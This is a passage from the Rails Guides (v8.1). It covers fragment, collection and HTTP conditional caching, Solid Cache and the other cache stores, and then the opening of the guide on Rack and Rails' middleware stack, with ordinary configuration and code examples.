The keys you use on `Rails.cache` will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the [`dalli`](https://github.com/petergoldstein/dalli) gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.

#### [3.1.1. Avoid Caching Instances of Active Record Objects](#avoid-caching-instances-of-active-record-objects)

You should **avoid** storing a list of Active Record objects in the cache:

```
# super_admins is an expensive SQL query, so don't run it too often
Rails.cache.fetch("super_admin_users", expires_in: 12.hours) do
  User.super_admins.to_a
end
```

In the example above, the instance of the `User`, representing `superusers`, could change, and the attributes on it could differ, or the record could be deleted. In development, this also works unreliably with cache stores that reload code when you make changes.

Instead, cache the ID of the resource or some other primitive data type. For example:

```
ids = Rails.cache.fetch("super_admin_user_ids", expires_in: 12.hours) do
  User.super_admins.pluck(:id)
end
User.where(id: ids).to_a
```

### [3.2. Fragment Caching](#fragment-caching)

Dynamic web applications build pages with a variety of components not all of which have the same caching characteristics. For example, a static component, such as a site logo, will have a longer caching duration compared to other more dynamic components. To cache and expire different parts of the page separately you can use Fragment Caching.

Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.

For example, if you wanted to cache each product on a page, you could do the following:

```
<% @products.each do |product| %>
  <% cache product do %>
    <%= render product %>
  <% end %>
<% end %>
```

When your application receives its first request to this page, Rails will write a new cache entry with a unique key. The key looks something like this:

```
views/products/index:bea67108094918eeba42cd4a6e786901/products/1
```

The string of characters in the middle is a template tree digest. It is a hash computed from the contents of the view fragment you are caching. If you change that fragment, such as by updating the HTML, the digest changes and Rails will treat it as a different cache entry.

A cache version, derived from the product record, is stored in the cache entry. When the product is touched, the cache version changes, and any cached fragments that contain the previous version are ignored.

Separating the cache key from the cache version allows Rails to reuse the cache key, instead of creating a new entry every time. No matter how frequently the product is touched, Rails writes to the same cache key. This reduces the total cache size because outdated cache entries are overwritten with the new entry.

Cache stores like [Memcached](https://memcached.org) automatically evict old cache entries when they need to reclaim space.

If you want to cache a fragment under certain conditions, you can use `cache_if` or `cache_unless`:

```
<% cache_if admin?, product do %>
  <%= render product %>
<% end %>
```

#### [3.2.1. Collection Caching](#collection-caching)

The `render` helper can also cache each template in a collection. Instead of checking the cache one item at a time in an `each` loop, Rails can fetch the cached entries for the whole collection at once. You enable this by passing `cached: true` when rendering the collection:

```
<%= render partial: 'products/product', collection: @products, cached: true %>
```

Cached entries from previous renders will be read in a single multi-fetch. Templates that are not yet cached will be rendered and written to the cache, so they can be fetched the same way on the next render.

The cache key can be configured. In the example below, it is prefixed with the current locale to ensure that different localizations of the product page do not overwrite each other:

```
<%= render partial: 'products/product',
           collection: @products,
           cached: ->(product) { [I18n.locale, product] } %>
```

You can also configure `cached` with an options hash that accepts `expires_in` and `key`, so you can control the cache key and expiration explicitly.

```
<%= render partial: 'products/product',
           collection: @products,
           cached: { expires_in: 1.hour, key: ->(product) { [I18n.locale, product] } } %>
```

#### [3.2.2. Managing Dependencies](#managing-dependencies)

When using fragment caching, you need to define template dependencies so Rails can invalidate cached fragments correctly. Rails can infer many common cases, but when rendering happens in helpers or through less direct `render` calls, you may need to declare dependencies explicitly.

##### [3.2.2.1. Implicit Dependencies](#implicit-dependencies)

Rails can infer many template dependencies directly from `render` calls in the template. For example, the [`ActionView::Digestor`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Digestor.html) can understand calls like these:

```
render partial: "comments/comment", collection: commentable.comments
render "comments/comments"
render("comments/comments")

render "header" # translates to render("comments/header")

render(@topic)         # translates to render("topics/topic")
render(topics)         # translates to render("topics/topic")
render(message.topics) # translates to render("topics/topic")
```

Some render calls need more information before Rails can infer the template dependency. For example, when you pass a custom collection like this:

```
render @project.documents.where(published: true)
```

You'll need to rewrite it to name the partial and collection explicitly:

```
render partial: "documents/document", collection: @project.documents.where(published: true)
```

##### [3.2.2.2. Explicit Dependencies](#explicit-dependencies)

Sometimes Rails cannot see a template dependency on its own. This usually happens when the `render` call is hidden inside a helper method.

```
<%= render_sortable_todolists @project.todolists %>
```

In that case, declare the dependency explicitly with a special comment:

```
<%# Template Dependency: todolists/todolist %>
<%= render_sortable_todolists @project.todolists %>
```

In some cases, such as a [single table inheritance](association_basics.html#single-table-inheritance-sti) setup, a helper may render different partials from the same directory. Instead of listing each template individually, you can use a wildcard to match the whole directory:

```
<%# Template Dependency: events/* %>
<%= render_categorizable_events @person.events %>
```

There is also a special comment for collection caching when the cache call is hidden inside a helper. If the partial template does not start with a clean cache call, you can add this comment anywhere in the template:

```
<%# Template Collection: notification %>
<% my_helper_that_calls_cache(some_arg, notification) do %>
  <%= notification.name %>
<% end %>
```

##### [3.2.2.3. External Dependencies](#external-dependencies)

Changes outside the template file can also affect the cached output. For example, if a cached block calls a helper method, updating that helper will not change the template digest automatically.

When that happens, update the template in some way so its digest changes too. One simple approach is to add or update a comment like this:

```
<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %>
<%= some_helper_method(person) %>
```

### [3.3. Russian Doll Caching](#russian-doll-caching)

You may want to nest cached fragments inside other cached fragments. This is called Russian doll caching.

The advantage of Russian doll caching is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.

As explained in the previous section, a cached fragment will become stale if the `updated_at` value changes for a record it directly depends on. However, that does not automatically expire any outer fragment that contains it.

For example, take the following view:

```
<% cache product do %>
  <%= render product.reviews %>
<% end %>
```

Which in turn renders this view:

```
<% cache review do %>
  <%= render review %>
<% end %>
```

If a `review` changes, its `updated_at` value changes too, which expires that fragment. But the `product` record's `updated_at` does not change automatically, so the outer fragment can still serve stale data. To fix this, tie the models together with the `touch` method:

```
class Product < ApplicationRecord
  has_many :reviews
end

class Review < ApplicationRecord
  belongs_to :product, touch: true
end
```

With `touch` set to `true`, any action which changes `updated_at` for a review record will also change it for the associated product, thereby expiring the cache.

### [3.4. Shared Partial Caching](#shared-partial-caching)

You can share partials, and their cached output, across templates with different [MIME types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types). For example, the same partial can be reused from both HTML and JavaScript templates. When Rails resolves `render partial:`, it can use a partial without an explicit format in more than one response format. Both HTML and JavaScript requests can use the following code:

```
render(partial: "hotels/hotel", collection: @hotels, cached: true)
```

This will load a file named `hotels/_hotel.html.erb`.

Another option is to specify the `formats` option explicitly.

```
render(partial: "hotels/hotel", collection: @hotels, formats: :html, cached: true)
```

This will load `hotels/_hotel.html.erb` even when it is rendered from a template with a different MIME type, such as a JavaScript template.

### [3.5. Conditional GETs](#conditional-gets)

Conditional GETs let a server tell the browser that a response has not changed since the last request, so the browser can reuse its cached copy.

This is useful when a browser or intermediary cache may already have a recent copy of a response and you want to avoid sending the full response body again.

They work with the `If-None-Match` and `If-Modified-Since` request headers, using an [ETag](#strong-vs-weak-etags) and/or a last-modified timestamp to check whether the response is still fresh. If the browser's copy matches the server's version, the server can return `304 Not Modified` with no response body.

It is the server's responsibility to evaluate those headers and decide whether to send a full response. Rails makes this straightforward:

```
class ProductsController < ApplicationController
  def show
    @product = Product.find(params[:id])

    # If the request is stale according to the given timestamp and etag value
    # (i.e. it needs to be processed again) then execute this block
    if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key_with_version)
      respond_to do |wants|
        # ... normal response processing
      end
    end

    # If the request is fresh (i.e. it's not modified) then you don't need to do
    # anything. The default render checks for this using the parameters
    # used in the previous call to stale? and will automatically send a
    # :not_modified. So that's it, you're done.
  end
end
```

Instead of an options hash, you can also simply pass in a model. Rails will use the `updated_at` and `cache_key_with_version` methods for setting `last_modified` and `etag`:

```
class ProductsController < ApplicationController
  def show
    @product = Product.find(params[:id])

    if stale?(@product)
      respond_to do |wants|
        # ... normal response processing
      end
    end
  end
end
```

If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using `respond_to` or calling render yourself) then you've got an easy helper in `fresh_when`:

```
class ProductsController < ApplicationController
  # This will automatically send back a :not_modified if the request is fresh,
  # and will render the default template (product.*) if it's stale.

  def show
    @product = Product.find(params[:id])
    fresh_when last_modified: @product.published_at.utc, etag: @product
  end
end
```

Instead of an options hash, you can also pass in a model. Rails will use the `updated_at` and `cache_key_with_version` methods for setting `last_modified` and `etag`:

```
class ProductsController < ApplicationController
  def show
    @product = Product.find(params[:id])
    fresh_when @product
  end
end
```

When both `last_modified` and `etag` are set, the behavior depends on `config.action_dispatch.strict_freshness`. If it is `true`, only the `etag` is considered, as specified by RFC 7232 section 6. If it is `false`, both headers are checked and the response is considered fresh only if they both match.

#### [3.5.1. Strong vs. Weak ETags](#strong-vs-weak-etags)

An ETag is a token (often a hash) that uniquely represents a particular version of a response body. If the server sends an ETag, the browser can later send it back to ask "is this still the same?" without fetching the full response.

Rails generates weak ETags by default. Weak ETags allow semantically equivalent responses to share the same ETag even if their response bodies do not match byte-for-byte. This can be useful when minor representation differences occur that do not change the meaning of the response, such as insignificant whitespace or formatting changes.

Weak ETags have a leading `W/` to differentiate them from strong ETags.

```
W/"618bbc92e2d35ea1945008b42799b0e7" -> Weak ETag
"618bbc92e2d35ea1945008b42799b0e7" -> Strong ETag
```

Unlike weak ETags, a strong ETag means the response body must match exactly, byte for byte. This is useful for `Range` requests on large files such as videos or PDFs. Some CDNs also require strong ETags. If you need to generate a strong ETag, you can do so as follows:

```
class ProductsController < ApplicationController
  def show
    @product = Product.find(params[:id])
    fresh_when last_modified: @product.published_at.utc, strong_etag: @product
  end
end
```

You can also set the strong ETag directly on the response.

```
response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7"
```

Sometimes you want to cache a response that effectively never changes, such as a static page. In that case, you can use the `http_cache_forever` helper so browsers and proxies cache it for a very long time.

By default cached responses will be private, cached only on the user's web browser. To allow proxies to cache the response, set `public: true` to indicate that they can serve the cached response to all users.

This helper sets `last_modified` to `Time.new(2011, 1, 1).utc` and applies a very long `Cache-Control` lifetime.

Use this method carefully. Browsers and proxies will keep reusing the response until it changes at a different URL or the cache is cleared.

```
class HomeController < ApplicationController
  def index
    http_cache_forever(public: true) do
      render
    end
  end
end
```

### [3.6. SQL Caching](#sql-caching)

Query caching is an Active Record feature that caches the result set returned by each query. If the same query runs again during the same request or execution context, Active Record can reuse the stored result instead of asking the database again.

For example:

```
class ProductsController < ApplicationController
  def index
    # Run a find query
    @products = Product.all

    # ...

    # Run the same query again
    @products = Product.all
  end
end
```

The second time the same query runs, it does not hit the database. Active Record reads the cached result from memory instead. However, each retrieval still instantiates new model objects from that cached result.

Query caches are created at the start of an action and destroyed at the end of that action, so they persist only for the duration of the request. If you'd like to store query results in a more persistent fashion, use low-level caching.

## [4. Default Store: Solid Cache](#default-store-solid-cache)

Solid Cache is a database-backed Active Support cache store. It is the default cache store for new Rails applications. Solid Cache is a good fit when you want a larger, more durable cache without running a separate cache service such as Redis or Memcached.

Solid Cache uses a FIFO (First In, First Out) caching strategy, where the first item added to the cache is the first one to be removed when the cache reaches its limit. This approach is simpler but less efficient compared to an LRU (Least Recently Used) cache, which removes the least recently accessed items first, better optimizing for frequently used data. However, Solid Cache compensates for the lower efficiency of FIFO by allowing the cache to live longer, reducing the frequency of invalidations.

New Rails applications generated with Rails 8.0 and later include Solid Cache by default. However, if you'd prefer not to use it, you can skip Solid Cache:

```
$ bin/rails new app_name --skip-solid
```

Using the `--skip-solid` flag skips all parts of the Solid Trifecta (Solid Cache, Solid Queue, and Solid Cable). If you still want to use some of them, you can install them separately. For example, if you want to use Solid Queue and Solid Cable but not Solid Cache, you can follow the installation guides for [Solid Queue](https://github.com/rails/solid_queue#installation) and [Solid Cable](https://github.com/rails/solid_cable#installation).

### [4.1. Configuring the Database](#configuring-the-database)

To use Solid Cache, you can configure the database connection in your `config/database.yml` file. Here's an example configuration for a SQLite database:

```
production:
  primary:
    <<: *default
    database: storage/production.sqlite3
  cache:
    <<: *default
    database: storage/production_cache.sqlite3
    migrations_paths: db/cache_migrate
```

In this configuration, the `cache` database is used to store cached data. You can also specify a different database adapter, like MySQL or PostgreSQL, if you prefer.

```
production:
  primary: &primary_production
    <<: *default
    database: app_production
    username: app
    password: <%= ENV["APP_DATABASE_PASSWORD"] %>
  cache:
    <<: *primary_production
    database: app_production_cache
    migrations_paths: db/cache_migrate
```

If `database` or [`databases`](#sharding-the-cache) is not specified in the cache configuration, Solid Cache uses the `ActiveRecord::Base` connection pool. That means cache reads and writes participate in any surrounding database transaction.

To use Solid Cache as your cache store, configure the environment accordingly:

```
# config/environments/production.rb
config.cache_store = :solid_cache_store
```

You can [access the cache by calling `Rails.cache`](#low-level-caching-using-rails-cache).

### [4.2. Customizing the Cache Store](#customizing-the-cache-store)

Solid Cache can be customized through `config/cache.yml`:

```
default: &default
  store_options:
    # Cap age of oldest cache entry to fulfill retention policies
    max_age: <%= 60.days.to_i %>
    max_size: <%= 256.megabytes %>
    namespace: <%= Rails.env %>
```

For the full list of keys under `store_options`, see [Cache configuration](https://github.com/rails/solid_cache#cache-configuration).

Here, you can adjust the `max_age` and `max_size` options to control the age and size of the cache entries.

### [4.3. Handling Cache Expiration](#handling-cache-expiration)

Solid Cache tracks cache writes by incrementing a counter with each write. When the counter reaches 50% of the `expiry_batch_size` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration), a background task is triggered to handle cache expiry. This approach ensures cache records expire faster than they are written when the cache needs to shrink.

The background task only runs when there are writes, so the process stays idle when the cache is not being updated. If you prefer to run the expiry process in a background job instead of a thread, set `expiry_method` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration) to `:job`.

### [4.4. Sharding the Cache](#sharding-the-cache)

If you need more scalability, Solid Cache supports sharding, splitting the cache across multiple databases. This spreads the load, making your cache even more powerful. To enable sharding, add multiple cache databases to your `database.yml`:

```
# config/database.yml
production:
  cache_shard1:
    database: cache1_production
    host: cache1-db
  cache_shard2:
    database: cache2_production
    host: cache2-db
  cache_shard3:
    database: cache3_production
    host: cache3-db
```

Additionally, you must specify the shards in the cache configuration:

```
# config/cache.yml
production:
  databases: [cache_shard1, cache_shard2, cache_shard3]
```

### [4.5. Encryption](#encryption)

Solid Cache supports encryption to protect sensitive data. To enable encryption, set the `encrypt` value in your cache configuration:

```
# config/cache.yml
production:
  encrypt: true
```

You will need to set up your application to use [Active Record Encryption](active_record_encryption.html).

## [5. Other Cache Stores](#other-cache-stores)

Rails provides different stores for the cached data (with the exception of SQL Caching).

### [5.1. Configuration](#configuration)

You can set up a different cache store by setting the `config.cache_store` configuration option. Other parameters can be passed as arguments to the cache store's constructor:

```
config.cache_store = :memory_store, { size: 64.megabytes }
```

Alternatively, you can set `ActionController::Base.cache_store` outside a configuration block.

You can access the cache by calling `Rails.cache`.

#### [5.1.1. Connection Pool Options](#connection-pool-options)

[`:mem_cache_store`](#activesupport-cache-memcachestore) and [`:redis_cache_store`](#activesupport-cache-rediscachestore) are configured to use connection pooling. This means that if you're using Puma, or another threaded server, you can have multiple threads performing queries to the cache store at the same time.

If you want to disable connection pooling, set the `:pool` option to `false` when configuring the cache store:

```
config.cache_store = :mem_cache_store, "cache.example.com", { pool: false }
```

You can also override default pool settings by providing individual options to the `:pool` option:

```
config.cache_store = :mem_cache_store, "cache.example.com", { pool: { size: 32, timeout: 1 } }
```

* `:size` - This option sets the number of connections per process (defaults to 5).

* `:timeout` - This option sets the number of seconds to wait for a connection (defaults to 5). If no connection is available within the timeout, a `Timeout::Error` will be raised.

### [5.2. `ActiveSupport::Cache::Store`](#activesupport-cache-store)

[`ActiveSupport::Cache::Store`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html) provides the foundation for interacting with the cache in Rails. This is an abstract class, and you cannot use it on its own. Instead, you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations, documented below.

The main API methods are [`read`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-read), [`write`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-write), [`delete`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-delete), [`exist?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-exist-3F), and [`fetch`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-fetch).

Options passed to the cache store's constructor will be treated as default options for the appropriate API methods.

### [5.3. `ActiveSupport::Cache::MemoryStore`](#activesupport-cache-memorystore)

[`ActiveSupport::Cache::MemoryStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/MemoryStore.html) keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by sending the `:size` option to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.

```
config.cache_store = :memory_store, { size: 64.megabytes }
```

If you're running multiple Ruby on Rails server processes (which is the case if you're using Phusion Passenger or Puma in clustered mode), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments. However, it can work well for small, low traffic sites with only a couple of server processes, as well as development and test environments.

New Rails applications use this cache store in development by default.

Since processes will not share cache data when using `:memory_store`, changes made in a Rails console affect only that console process, not any running server processes.

### [5.4. `ActiveSupport::Cache::FileStore`](#activesupport-cache-filestore)

[`ActiveSupport::Cache::FileStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/FileStore.html) uses the file system to store entries. You must specify the path to the directory where the cache files will be stored when initializing the cache.

```
config.cache_store = :file_store, "/path/to/cache/directory"
```

With this cache store, multiple server processes on the same host can share a cache. This cache store is appropriate for low to medium traffic sites that are served off one or two hosts. Server processes running on different hosts could share a cache by using a shared file system, but that setup is not recommended.

As the cache will grow until the disk is full, it is recommended to periodically clear out old entries.

### [5.5. `ActiveSupport::Cache::MemCacheStore`](#activesupport-cache-memcachestore)

[`ActiveSupport::Cache::MemCacheStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/MemCacheStore.html) uses [`memcached`](https://memcached.org/) to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. It can provide a single shared cache cluster with high performance and redundancy.

When initializing the cache, you should specify the addresses for all memcached servers in your cluster, or ensure the `MEMCACHE_SERVERS` environment variable has been set appropriately.

```
config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
```

If neither are specified, it will assume memcached is running on localhost on the default port (`127.0.0.1:11211`), but this is not an ideal setup for larger sites.

```
config.cache_store = :mem_cache_store # Will fallback to $MEMCACHE_SERVERS, then 127.0.0.1:11211
```

See the [`Dalli::Client` documentation](https://www.rubydoc.info/gems/dalli/Dalli/Client#initialize-instance_method) for supported address types.

The [`write`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/MemCacheStore.html#method-i-write) (and `fetch`) method on this cache accepts additional options that take advantage of features specific to memcached.

### [5.6. `ActiveSupport::Cache::RedisCacheStore`](#activesupport-cache-rediscachestore)

[`ActiveSupport::Cache::RedisCacheStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/RedisCacheStore.html) takes advantage of [Redis](https://redis.io/) support for automatic eviction when it reaches max memory, allowing it to behave much like a Memcached cache server.

Redis does not expire keys by default, so you should use a dedicated Redis cache server and avoid filling your persistent Redis instance with volatile cache data. See the [Redis cache server setup guide](https://redis.io/topics/lru-cache) for more details.

For a cache-only Redis server, set `maxmemory-policy` to one of the variants of allkeys. Least-frequently-used eviction (`allkeys-lfu`) is a good default choice.

Set cache read and write timeouts relatively low. Regenerating a cached value is often faster than waiting more than a second to retrieve it. Both read and write timeouts default to 1 second, but may be set lower if your network is consistently low-latency.

By default, the cache store will attempt to reconnect to Redis once if the connection fails during a request.

Cache reads and writes never raise exceptions; they just return `nil` instead, behaving as if there was nothing in the cache. To gauge whether your cache is hitting exceptions, you may provide an `error_handler` to report to an exception gathering service. It must accept three keyword arguments: `method`, the cache store method that was originally called; `returning`, the value that was returned to the user, typically `nil`; and `exception`, the exception that was rescued.

To get started, add the redis gem to your Gemfile:

```
gem "redis"
```

Finally, add the configuration in the relevant `config/environments/*.rb` file:

```
config.cache_store = :redis_cache_store, { url: ENV["REDIS_URL"] }
```

A more complex, production Redis cache store may look something like this:

```
cache_servers = %w(redis://cache-01:6379/0 redis://cache-02:6379/0)
config.cache_store = :redis_cache_store, { url: cache_servers,

  connect_timeout:    30,  # Defaults to 1 second
  read_timeout:       0.2, # Defaults to 1 second
  write_timeout:      0.2, # Defaults to 1 second
  reconnect_attempts: 2,   # Defaults to 1

  error_handler: -> (method:, returning:, exception:) {
    # Report errors to Sentry as warnings
    Sentry.capture_exception exception, level: "warning",
      tags: { method: method, returning: returning }
  }
}
```

### [5.7. `ActiveSupport::Cache::NullStore`](#activesupport-cache-nullstore)

[`ActiveSupport::Cache::NullStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/NullStore.html) does not persist cached values across requests. It is meant for use in development and test environments. It can be very useful when you have code that interacts directly with `Rails.cache` but caching interferes with seeing the results of code changes.

```
config.cache_store = :null_store
```

### [5.8. Custom Cache Stores](#custom-cache-stores)

You can create your own custom cache store by simply extending `ActiveSupport::Cache::Store` and implementing the appropriate methods. This way, you can swap in any number of caching technologies into your Rails application.

To use a custom cache store, simply set the cache store to a new instance of your custom class.

```
config.cache_store = MyCacheStore.new
```

## [6. Advanced Caching Patterns](#advanced-caching-patterns)

### [6.1. Caching in Background Jobs and Other Non-Request Contexts](#caching-in-background-jobs-and-other-non-request-contexts)

Caching is not limited to controller actions. You can also use `Rails.cache` in background jobs, service objects, scripts, and other application code.

Low-level caching works the same way in these contexts as it does in a request:

```
class ReportJob < ApplicationJob
  def perform(account)
    Rails.cache.fetch([account, "daily-report"], expires_in: 1.hour) do
      account.generate_daily_report
    end
  end
end
```

Some caching behavior, however, depends on being inside a Rails execution context. Features such as the Active Record query cache and other per-execution state are set up automatically for normal Rails-managed requests and jobs.

If you run application code yourself from a custom thread or long-running script, wrap it with `Rails.application.executor.wrap` so Rails can manage that state correctly:

```
Rails.application.executor.wrap do
  Rails.cache.fetch("stats", expires_in: 5.minutes) { expensive_calculation }
end
```

For more on the Executor and non-request code execution, see [Threading and Code Execution in Rails](threading_and_code_execution.html).

### [6.2. Local Cache](#local-cache)

Some cache stores support a local cache layer. This keeps recently read values in memory for the duration of a request or block, so repeated reads for the same key can be served without going back to the underlying cache store.

This is especially useful with remote cache stores such as Redis or Memcached, where avoiding repeated network round trips can improve performance.

In a normal Rails request, the local cache is managed for you by middleware. You can also use it manually around a block:

```
Rails.cache.with_local_cache do
  Rails.cache.read("hot-key")
  Rails.cache.read("hot-key")
end
```

The local cache is temporary and scoped to the current execution. It does not replace your main cache store, and values written there are not shared across requests, jobs, or processes.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/rails_on_rack.html
----

***

## [1. Introduction to Rack](#introduction-to-rack)

Rack provides a modular interface for developing web applications in Ruby. By wrapping HTTP requests and responses using a conventional structure, it unifies the API for web servers, web frameworks, and software in between (known as middleware) into a single method call.

This allows Rack compliant web servers like [Puma](https://puma.io) or [Falcon](https://socketry.github.io/falcon/) to be interchangeably used with any Rack based web framework such as Rails.

Before diving into how Rails integrates with Rack, let's look at Rack itself.

### [1.1. A Basic Rack Application](#a-basic-rack-application)

A Rack app is an object which implements a `call` method. It is passed an [`env`](https://github.com/rack/rack/blob/main/SPEC.rdoc#the-request-environment) hash, known as the Rack environment.

Here's an example of a barebones Rack app:

```
class App
  def call(env)
    [200, { "content-type" => "text/plain" }, ["Hello World"]]
  end
end

run App.new
```

When an HTTP request is made, the Rack-compliant web server parses it to create the `env` hash, and calls the application with `env`. The `call` method must return an array with exactly three elements, representing the HTTP response:

1. The HTTP response code (`200` in the above example).
2. A hash containing any HTTP response headers we wish to send.
3. An enumerable object that yields strings, representing the response body.

Rack applications are generally run using the web server's command line program, with the entry point for the application being stored in a `config.ru` file:

```
$ cat > config.ru << APP
rack_app = lambda do |env|
  [200, { "content-type" => "text/plain" }, ["Hello World"]]
end
run rack_app
APP
$ gem install puma
$ puma
```

Your app should be available at <http://localhost:9292>.

```
$ curl localhost:9292
Hello World
```

### [1.2. Rack Middleware](#rack-middleware)

Rack applications can be wrapped using *middleware* which may operate upon a request before it reaches the main application, and again after the application has returned a response to the request. Middleware is usually used for tasks like logging, caching, authentication, and measuring performance.

A Rack middleware must have a `new` method that accepts the Rack app and any arguments used to configure the middleware. The `new` method must return a Rack application that responds to `call`. Typically, Rack middleware are classes, and each instance of the middleware wraps access to the related application:

```
class MyMiddleware
  def initialize(app)
    @app = app
  end

  def call(env)
    # Operations before the request hits the main application
    # -------------------------------------------------------

    # Propagate the request down the middleware stack
    status, headers, body = @app.call(env)

    # ---------------------------------------
    # Operations after the request comes back

    # Propagate the response up the middleware stack
    [status, headers, body]
  end
end
```

Middleware can short-circuit the stack by skipping `@app.call` completely and returning a response by itself. This means the request never hits the main application or the remaining middleware in the stack. A middleware to authenticate a request might use this technique.

```
class AuthenticateRequest
  def initialize(app)
    @app = app
  end

  def call(env)
    if authenticated?(env["HTTP_AUTHORIZATION"])
      @app.call(env)
    else
      [401, { "content-type" => "text/plain" }, ["Authentication failed"]]
    end
  end

  def authenticated?(token)
    # ...
  end
end
```

Middleware is added to a Rack app with `use`:

```
class AuthenticateRequest
  # ...
end

class App
  def call(env)
    [200, { "content-type" => "text/plain" }, ["Hello World"]]
  end
end

use AuthenticateRequest
run App.new
```

This DSL to construct Rack applications is provided by [`Rack::Builder`](https://rack.github.io/rack/3.2/Rack/Builder.html). For further information about Rack, consult the [Rack specification](https://rack.github.io/rack/main/SPEC_rdoc.html) and [Rack Website](https://rack.github.io/rack/).

## [2. Rails on Rack](#rails-on-rack)

### [2.1. The Primary Rack Object](#the-primary-rack-object)

`Rails.application` is the *primary Rack application object* of a Rails application. A Rack compliant web server should use the `Rails.application` object to serve a Rails application.

### [2.2. Starting the Rails Server](#starting-the-rails-server)

Rails subclasses `Rackup::Server` to create `Rails::Server`. `bin/rails server` instantiates a `Rails::Server` object and starts the web server.

```
Rails::Server.new.tap do |server|
  require APP_PATH
  Dir.chdir(Rails.application.root)
  server.start
end
```

See the [initialization guide](initialization.html#rails-server-start) for further information on how the server starts up.

## [3. Action Dispatch Middleware Stack](#action-dispatch-middleware-stack)

`ActionDispatch::MiddlewareStack` is Rails' equivalent of [`Rack::Builder`](https://rack.github.io/rack/3.2/Rack/Builder.html). It's built with more flexibility and features to meet Rails' requirements.

`Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine internal and external middleware to build the stack which forms a complete Rack application using Rails.

### [3.1. Inspecting the Middleware Stack](#inspecting-the-middleware-stack)

View the middleware stack by running:

```
$ bin/rails middleware
```

Here's an example from a freshly generated Rails app:

```
use ActionDispatch::HostAuthorization
use Rack::Sendfile
use ActionDispatch::Static
use Propshaft::Server
use ActionDispatch::Executor
use ActionDispatch::ServerTiming
use ActiveSupport::Cache::Strategy::LocalCache::Middleware
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use ActionDispatch::RemoteIp
use Propshaft::QuietAssets
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use WebConsole::Middleware
use ActionDispatch::DebugExceptions
use ActionDispatch::ActionableExceptions
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::Migration::CheckPending
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use ActionDispatch::ContentSecurityPolicy::Middleware
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
use Rack::TempfileReaper
run MyApp::Application.routes
```

The [Internal Middleware Stack](#internal-middleware-stack) section below summarizes the default middleware components depicted above.

### [3.2. Configuring the Middleware Stack](#configuring-the-middleware-stack)

Rails provides a configuration interface [`config.middleware`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Configuration/MiddlewareStackProxy.html) for adding, removing, and modifying the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.

#### [3.2.1. Adding Middleware](#adding-middleware)

There are three methods to add new middleware to the stack.

* `config.middleware.use(new_middleware, args)`: Adds the new middleware at the bottom of the middleware stack.

* `config.middleware.insert_before(existing_middleware, new_middleware, args)`: Adds the new middleware before the specified existing middleware in the middleware stack.

* `config.middleware.insert_after(existing_middleware, new_middleware, args)`: Adds the new middleware after the specified existing middleware in the middleware stack.

Example usage:

```
# config/application.rb

# Push `Rack::BounceFavicon` at the bottom
config.middleware.use Rack::BounceFavicon

# Add `Lifo::Cache` after `ActionDispatch::Executor`.
# Pass { page_cache: false } argument to Lifo::Cache.
config.middleware.insert_after ActionDispatch::Executor, Lifo::Cache, page_cache: false
```

#### [3.2.2. Swapping Middleware](#swapping-middleware)

Swap middleware using `config.middleware.swap`.

```
# config/application.rb

# Replace `ActionDispatch::ShowExceptions` with `Lifo::ShowExceptions`
config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
```

#### [3.2.3. Moving Middleware](#moving-middleware)

Move existing middleware components in the stack using `config.middleware.move_before` or `config.middleware.move_after`.

```
# config/application.rb

# Move ActionDispatch::ShowExceptions to before Lifo::ShowExceptions
config.middleware.move_before Lifo::ShowExceptions, ActionDispatch::ShowExceptions
```

```
# config/application.rb

# Move ActionDispatch::ShowExceptions to after Lifo::ShowExceptions
config.middleware.move_after Lifo::ShowExceptions, ActionDispatch::ShowExceptions
```

#### [3.2.4. Deleting Middleware](#deleting-middleware)

Delete middleware using `config.middleware.delete`.

```
# config/application.rb
config.middleware.delete Rack::Runtime
```

Using `delete!` will raise an error if the middleware component doesn't exist.

```
# config/application.rb

config.middleware.delete! Some::NonExistentMiddleware
```

### [3.3. Reloading the Middleware Stack](#reloading-the-middleware-stack)

